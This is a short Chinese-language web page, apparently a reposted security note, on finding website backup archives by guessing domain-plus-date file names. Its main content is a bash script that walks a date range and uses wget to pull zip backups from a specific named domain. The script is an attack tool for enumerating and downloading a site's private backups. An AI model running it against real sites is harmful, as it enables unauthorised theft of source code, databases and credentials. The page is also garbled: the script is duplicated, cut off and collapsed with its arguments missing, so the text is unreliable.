阅读背景:

备份文件-域名+日期扫描

来源:互联网 

场景

根据报错页面的备份文件名格式生成日期文件,尝试遍历日期下载

实现代码

#!/bin/bash
startdate=`date -d "+0 day 

场景

根据报错页面的备份文件名格式生成日期文件,尝试遍历日期下载

实现代码

#!/bin/bash
startdate=`date -d "+0 day $1" +%Y%m%d`
enddate=`date -d "+0 day $2" +%Y%m%d`
while [[ $startdate -le $enddate ]]
do
date=$startdate
startdateother=`date -d "+0 day $date" +%Y-%m-%d`
dateother=$startdateother
url=https://www.rosturplast.com/rosturplast.com.$dateother.zip
echo "$url"
startdate=`date -d "+1 day $date" +%Y-%m-%d`
startdateother=`date -d "+1 day $date" +%Y-%m-%d`
wget $url
done

效果

参考

邮件钓鱼攻击与溯源

https://www.freebuf.com/vuls/195090.html


" +%Y%m%d` enddate=`date -d "+0 day " +%Y%m%d` while [[ $startdate -le $enddate ]] do date=$startdate startdateother=`date -d "+0 day $date" +%Y-%m-%d` dateother=$startdateother url=https://www.rosturplast.com/rosturplast.com.$dateother.zip echo "$url" startdate=`date -d "+1 day $date" +%Y-%m-%d` startdateother=`date -d "+1 day $date" +%Y-%m-%d` wget $url done#!/



你的当前访问异常,请进行认证后继续阅读剩余内容。

分享到: